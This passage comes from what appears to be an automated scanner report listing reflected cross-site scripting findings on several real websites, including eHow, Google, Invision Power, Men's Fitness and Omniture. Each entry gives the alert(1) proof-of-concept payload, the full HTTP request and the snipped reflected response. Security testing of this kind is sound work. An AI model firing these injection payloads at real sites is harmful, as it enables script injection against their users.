This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /us-travel/?9d2a7'-alert(1)-'c41efa4ef38=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:16 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 74677
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>US Travel - How To Information | eHow.com</title> ...[SNIP]... <fb:like href="http://www.ehow.com/us-travel/?9d2a7'-alert(1)-'c41efa4ef38=1" ref="like" width="300"> ...[SNIP]...
4.431. http://www.ehow.com/vacations-and-travel-planning/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/vacations-and-travel-planning/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2b79c'-alert(1)-'5e746d16608 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vacations-and-travel-planning/?2b79c'-alert(1)-'5e746d16608=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:16 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75294
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Vacations & Travel Planning - How To Information ...[SNIP]... <fb:like href="http://www.ehow.com/vacations-and-travel-planning/?2b79c'-alert(1)-'5e746d16608=1" ref="like" width="300"> ...[SNIP]...
4.432. http://www.ehow.com/video_6598099_make-sugar-spice-scrub.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/video_6598099_make-sugar-spice-scrub.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3df61'-alert(1)-'9bca15399b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video_6598099_make-sugar-spice-scrub.html?3df61'-alert(1)-'9bca15399b4=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:51 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83575
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Make a Sugar & Spice Scrub: Gorgeously Gre ...[SNIP]... 6682/flash/36cbefe4-4d7a-49a0-b6a2-b38d82d69318.flv', cp: '', pid: '', demand_playlistid: '', from_url: 'http%3a%2f%2fwww.ehow.com%2fvideo_6598099_make-sugar-spice-scrub.html%3f3df61'-alert(1)-'9bca15399b4%3d1' },vars||{});
var videoSWFObject = new SWFObject('/flash/player.swf', "VideoPlayer", options.width, options.height, "9", "CCCCCC"); videoSWFObject.addParam("allowScriptAccess", " ...[SNIP]...
4.433. http://www.ehow.com/video_6976779_sensational-snacks.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/video_6976779_sensational-snacks.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 50c27'-alert(1)-'7bea5207a21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video_6976779_sensational-snacks.html?50c27'-alert(1)-'7bea5207a21=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:48 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 74883
var videoSWFObject = new SWFObject('/flash/player.swf', "VideoPlayer", options.width, options.height, "9", "CCCCCC"); videoSWFObject.addParam("allowScriptAccess", " ...[SNIP]...
4.434. http://www.ehow.com/video_7199214_onion-flatbread-recipe.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/video_7199214_onion-flatbread-recipe.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload abe44'-alert(1)-'7efe9cc39a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video_7199214_onion-flatbread-recipe.html?abe44'-alert(1)-'7efe9cc39a0=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:50 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 85016
var videoSWFObject = new SWFObject('/flash/player.swf', "VideoPlayer", options.width, options.height, "9", "CCCCCC"); videoSWFObject.addParam("allowScriptAccess", " ...[SNIP]...
4.435. http://www.ehow.com/weddings-and-parties/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/weddings-and-parties/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de308'-alert(1)-'4a8b2e9f3c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weddings-and-parties/?de308'-alert(1)-'4a8b2e9f3c2=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:15 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71835
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Weddings & Parties - How To Information | eHow.co ...[SNIP]... <fb:like href="http://www.ehow.com/weddings-and-parties/?de308'-alert(1)-'4a8b2e9f3c2=1" ref="like" width="300"> ...[SNIP]...
4.436. http://www.ehow.com/weight-management-and-body-image/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/weight-management-and-body-image/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2da39'-alert(1)-'64118fe1441 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weight-management-and-body-image/?2da39'-alert(1)-'64118fe1441=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:13 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71939
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Weight Management & Body Image - How To Informati ...[SNIP]... <fb:like href="http://www.ehow.com/weight-management-and-body-image/?2da39'-alert(1)-'64118fe1441=1" ref="like" width="300"> ...[SNIP]...
The value of the hl request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 20c64(a)bb11cc7cdf6 was submitted in the hl parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?q=millenium+boston&hl=en20c64(a)bb11cc7cdf6&prmd=ivnscm HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:51:50 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block Connection: close
4.438. http://www.google.com/advanced_search [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.google.com
Path:
/advanced_search
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 15b95(a)f122f347a32 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?q=millenium+boston&hl=en&prmd=ivnscm&15b95(a)f122f347a32=1 HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:51:53 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block Connection: close
The value of the prmd request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a68a8(a)2fc3268e051 was submitted in the prmd parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?q=millenium+boston&hl=en&prmd=ivnscma68a8(a)2fc3268e051 HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:51:50 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block Connection: close
The value of the q request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b05a6(a)914fa9d20b7 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?q=millenium+bostonb05a6(a)914fa9d20b7&hl=en&prmd=ivnscm HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:51:49 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block Connection: close
The value of the q request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 417bd(a)c494a2ec40e was submitted in the q parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images?q=millenium+boston417bd(a)c494a2ec40e&um=1&ie=UTF-8&source=og&sa=N&hl=en&tab=wi HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:53:22 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block Connection: close
The value of the 79b73' request parameter is copied into the HTML document as plain text between tags. The payload 43785<script>alert(1)</script>8587ea4b601 was submitted in the 79b73' parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?79b73'43785<script>alert(1)</script>8587ea4b601 HTTP/1.1 Host: www.invisionpower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Invision Power Services :: 404 File Not Found</ti ...[SNIP]... <br /> /index.php?79b73'43785<script>alert(1)</script>8587ea4b601 </div> ...[SNIP]...
4.443. http://www.invisionpower.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.invisionpower.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 24714<script>alert(1)</script>6e8c7271658 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?24714<script>alert(1)</script>6e8c7271658=1 HTTP/1.1 Host: www.invisionpower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f9d9"><img%20src%3da%20onerror%3dalert(1)>35c645f95fa was submitted in the REST URL parameter 1. This input was echoed as 9f9d9"><img src=a onerror=alert(1)>35c645f95fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Tshirt_Workout9f9d9"><img%20src%3da%20onerror%3dalert(1)>35c645f95fa/fitness/ab_exercises/136?cid=RSS HTTP/1.1 Host: www.mensfitness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 14:33:45 GMT Server: Apache/2.2.3 (Red Hat) Age: 1 Cache-Control: max-age=43199 Via: HTTP/1.1 cdn.mensfitness.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Wed, 02 Feb 2011 02:33:43 GMT Content-Type: text/html; charset=UTF-8 Via: 1.1 mdw107103 (MII-APC/1.6) Connection: close Content-Length: 45083
<html> <head>
<title>The T-Shirt Body Workout - Men's Fitness</title>
<meta name="Description" content="Fill out your favorite tee with our exclusive eight-week program for bigger shoulders, chest, ...[SNIP]... <a href="/Tshirt_Workout9f9d9"><img src=a onerror=alert(1)>35c645f95fa/fitness/ab_exercises/136?page=2"> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload d1605--><img%20src%3da%20onerror%3dalert(1)>266a0d1386d was submitted in the REST URL parameter 1. This input was echoed as d1605--><img src=a onerror=alert(1)>266a0d1386d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Tshirt_Workoutd1605--><img%20src%3da%20onerror%3dalert(1)>266a0d1386d/fitness/ab_exercises/136?cid=RSS HTTP/1.1 Host: www.mensfitness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 14:33:50 GMT Server: Apache/2.2.3 (Red Hat) Age: 0 Cache-Control: max-age=43199 Via: HTTP/1.1 cdn.mensfitness.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Wed, 02 Feb 2011 02:33:49 GMT Content-Type: text/html; charset=UTF-8 Via: 1.1 mdw107104 (MII-APC/1.6) Connection: close Content-Length: 45087
<html> <head>
<title>The T-Shirt Body Workout - Men's Fitness</title>
<meta name="Description" content="Fill out your favorite tee with our exclusive eight-week program for bigger shoulders, chest, ...[SNIP]... <a href="/Tshirt_Workoutd1605--><img src=a onerror=alert(1)>266a0d1386d/fitness/ab_exercises/136?page=2"> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload e9e56--><script>alert(1)</script>8a737b00cb1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/community/blogse9e56--><script>alert(1)</script>8a737b00cb1 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:16:04 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:16:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:16:04 GMT Content-Length: 22183 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:16:04 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Community | Online Business Opt ...[SNIP]... <!-- en/community/blogse9e56--><script>alert(1)</script>8a737b00cb1 cached on 2 February 2011 at 11:16:04 PST (75162e068e66d479485cee21e59fe2be) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 7144c--><script>alert(1)</script>b7eed20f598 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/community/customers.omniture.com7144c--><script>alert(1)</script>b7eed20f598 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:16:04 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:16:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:16:04 GMT Content-Length: 22215 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:16:04 GMT; path=/; domain=omniture.com
